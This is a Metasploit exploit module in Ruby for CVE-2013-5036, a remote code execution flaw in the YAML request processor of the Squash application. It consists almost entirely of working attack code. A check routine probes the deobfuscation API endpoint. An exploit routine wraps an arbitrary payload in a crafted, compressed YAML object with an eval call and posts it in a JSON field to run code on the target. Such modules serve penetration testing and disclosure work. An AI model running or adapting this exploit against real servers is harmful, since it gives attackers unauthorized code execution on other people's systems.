Squash YAML Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Squash YAML Code Execution',  
'Description' => %q{  
This module exploits a remote code execution vulnerability in the  
YAML request processor of the Squash application.  
},  
'Author' =>  
[  
'Charlie Eriksen' # Discovery, initial exploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://ceriksen.com/2013/08/06/squash-remote-code-execution-vulnerability-advisory/'],  
[ 'OSVDB', '95992'],  
[ 'CVE', '2013-5036']  
],  
'Platform' => 'ruby',  
'Arch' => ARCH_RUBY,  
'Privileged' => false,  
'Targets' => [ ['Automatic', {} ] ],  
'DisclosureDate' => 'Aug 06 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"])  
], self.class)  
  
end  
  
def check  
response = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),  
'method' => 'POST',  
'ctype' => 'application/json',  
})  
  
if response.code == 422  
print_status("Got HTTP 422 result, target may be vulnerable")  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
code = Rex::Text.encode_base64(payload.encoded)  
yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +  
"'#{rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +  
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"  
payload = Rex::Text.encode_base64(Zlib::Deflate.deflate(yaml)).gsub("\n", "")  
data = "{\"api_key\":\"1\",\"environment\":\"production\",\"build\":\"1\",\"namespace\":\"#{payload}\"}"  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "api", "1.0", "deobfuscation"),  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => data  
})  
end  
end  
`